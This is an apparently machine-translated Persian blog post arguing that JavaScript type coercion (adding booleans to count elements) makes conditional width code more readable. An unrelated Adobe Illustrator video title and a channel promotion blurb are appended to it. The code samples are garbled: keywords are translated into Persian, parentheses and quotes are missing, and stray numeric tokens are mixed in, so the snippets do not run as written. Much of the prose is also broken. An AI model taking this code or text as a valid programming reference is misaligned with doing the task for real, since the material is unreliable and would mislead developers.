بسیاری از توسعه دهندگان نرم افزار با تجربه اغلب در هنگام جاوااسکریپت جاوا (داوطلبانه یا نه) و ویژگی های زبان مادری خود را به عنوان نوع اجبار، مفاهیم "حقیقت" و "دروغ" و غیره و غیره و گاهی اوقات نسبتا. اما اگر این باز بودن، آزادی زبان به طور ضمنی تایپ شود، در حقیقت یک ابزار عالی در جعبه ابزار شما در هنگام نوشتن راه حل های پاک و ظریف است

وحشتی که نمی دانید عوارض جانبی، مصنوعاتی که آن زبان تولید می کند یکی از مواردی که به شدت تایپ شده است، بسیار رایج است، به ویژه در میان "تازه واردین" مفاهیم فوق. عدم قطعیت برای توسعه دهندگان بدتر است! اما اغلب اوقات عدم اطمینان ناشی از عدم تجربه خاص است.

بیایید نگاهی به کار نمونه، رویکرد سنتی و رویکرد با نوع اجبار

وظیفه

ما باید تغییر دینامیک عرض عناصر DOM در یک ظرف بسته به تعداد عناصر وجود دارد، تا اطمینان حاصل شود که آنها تمام عرض کانتینر را جمع می کنند.

حداکثر عناصر 3. اگر ما فقط 2 عنصر داشته باشیم، پس هر یک از آن ها نیاز به عرض 50٪، اگر ما 3 عنصر داشته باشیم، عرض هر عنصر باید 33٪ باشد. البته عنصر تک باید 100٪ عرض را داشته باشد.

ما می دانیم که عنصر توسط پرچم مربوط Boolean وجود دارد.

راه حل CSS زیبا ترین خواهد بود، درست است؟ اما به عنوان مثال، اجازه می دهد تا تصور کنید CSS در سال 1996 گیر کرده است.

رویکرد سنتی

این در مورد زشت است!

آنجا شما بروید:

 بولی  FIRST_ELEMENT؛ 
بولین SECOND_ELEMENT؛
بولی THIRD_ELEMENT؛

رشته عرض؛

// اگر تمام عناصر موجود باشد
اگر (FIRST_ELEMENT && SECOND_ELEMENT && THIRD_ELEMENT) {
width = '33٪ '؛
}

// اگر 2 عنصر موجود باشد
اگر (FIRST_ELEMENT && SECOND_ELEMENT &&! THIRD_ELEMENT) {
width = '50٪'؛
}

اگر (FIRST_ELEMENT &&! SECOND_ELEMENT && THIRD_ELEMENT) {
width = '50٪؛
}

if (! FIRST_ELEMENT && SECOND_ELEMENT && THIRD_ELEMENT) {
width = '50٪ '؛
}

// اگر تنها یک عنصر وجود داشته باشد
اگر (! FIRST_ELEMENT &&! SECOND_ELEMENT && THIRD_ELEMENT) {
width = '100٪'؛
}

اگر (FIRST_ELEMENT &&! SECOND_ELEMENT &&! THIRD_ELEMENT) {
width = '100٪'؛
}

if (! FIRST_ELEMENT && SECOND_ELEMENT &&! THIRD_ELEMENT) {
width = '100٪'؛
}

این کد کار را انجام می دهد. اما آه پسر .. چیزی که درون من افتاد وقتی وارد آن شدم.

آیا می توانیم با رویکرد سنتی بهتر عمل کنیم؟ من هم اینچنین فکر میکنم. به طور پیش فرض و خلاص شدن از آخرین 3 شرایط:

 رشته  width = '100٪'؛ 

// اگر همه عناصر حضور داشته باشند
اگر (FIRST_ELEMENT && SECOND_ELEMENT && THIRD_ELEMENT) {
width = '33٪ '؛
}

// اگر 2 عنصر موجود باشد
if (FIRST_ELEMENT && SECOND_ELEMENT &&! THIRD_ELEMENT {19459019] width = '50٪ '؛
}

if (FIRST_ELEMENT &&! SECOND_ELEMENT && THIRD_ELEMENT) {
width = '50٪؛

اگر (! FIRST_ELEMENT && SECOND_ELEMENT && THIRD_ELEMENT) {
width = '50٪ '؛
}

این کد هنوز بوی خاصی دارد. ما می توانیم با «بهینه سازی» بیشتر، XOR بیتی را معرفی کنیم، منطق بیشتری اضافه کنیم، مقدار شرایط را کاهش دهیم. سوال این است: آیا قابل خواندن است؟ یا این یکی از آن چیزهایی است که شما را مجبور به نظر دادن برای نسل های آینده می کند تا بدانند که در واقع چه اتفاقی می افتد؟ هنوز هم به نظر می رسد بد است

اکنون اجازه می دهد یکی از ابزارهای موجود در جعبه ابزار ما را ببینید و ببینید که آیا آن را می تواند مفید باشد در اینجا: نوع کوک.

Type Coercion

نوع اجبار یک ویژگی است که به ما امکان تبدیل یک متغیر از یک نوع به دیگری به صورت پویا تحت شرایط خاص است.

در این مورد خاص، ما می توانیم اجباری نوع جاوا اسکریپت را در هنگام انجام عملیات حساب جبرانی بولین به اعداد صحیح بدست آوریم.

تبدیل غلط به 0؛

تبدیل واقعی به 1؛ [19659041] این چگونگی آن در این مثال خاص مفید است:

 رشته  width = '100٪'؛ 
اینتر TOTAL_ELEMENTS = FIRST_ELEMENT + SECOND_ELEMENT + THIRD_ELEMENT؛

if TOTAL_ELEMENTS == 2) {
width = '50٪ '؛
}

if (TOTAL_ELEMENTS == 3) {
width = '33٪'؛
}

قابلیت خوانایی به طور قابل توجهی بهبود یافته است

این روزها زمانی که قابلیت خواندن و درک سریع از کد نوشته شده توسط OT آن ها یکی از مهمترین و مهمترین مواد تشکیل دهنده عملکرد تیم است، ما باید از هر ترفندی که ما باید آستین خود را برآورده کنیم استفاده کنیم. نوعی اجبار به وضوح یکی از آن است.

بر خلاف قانون Betteridge از سرفصلها، این را نمی توان با کلمه "نه" پاسخ داد.

۵- زوم، خط کش و راهنما در Adobe Illustrator

۵- زوم، خط کش و راهنما در Adobe Illustrator



وب سایت:

——————————————–
به شبکه ی تکنولوژی و کامپیوتر خوش آمدید. این شبکه هدفش این است تا با آموزش مجازی
کامپیوتر و هر چیز دیگری مرتبط با تکنولوژی، فارسی زبانان سراسر دنیا را آگاه سازد.آموزشهای این شبکه در مورد کامپیوتر، نرم افزارهای گوناگون ، سخت افزار، شبکه، ویندوز، مک، برنامه نویسی، چگونگی استفاده از نرم افزارها، اینترنت، راههای درآمد از طریق اینترنت و سؤالهایی که به ما ایمیل میزنید یا در قسمت نظرات مینویسید، خواهد بود. امیدوارم که توانسته باشم خدمت کوچکی را به هموطنانی مه در زمینه ی کامپیوتر و تکنولوژی علاقه دارند کرده باشم. اگر آموزش خاصی را میخواهید میتوانید در قسمت نظرات درخواست کنید.
لطفا سابسکرایب کنید و ویدئو ها را دنبال کنید. اگر دیدید این ویدئو می تواند کمکی را به کسی بکند لطفا شر کنید.
از همگی نهایت تشکر را دارم.

لینک دانلود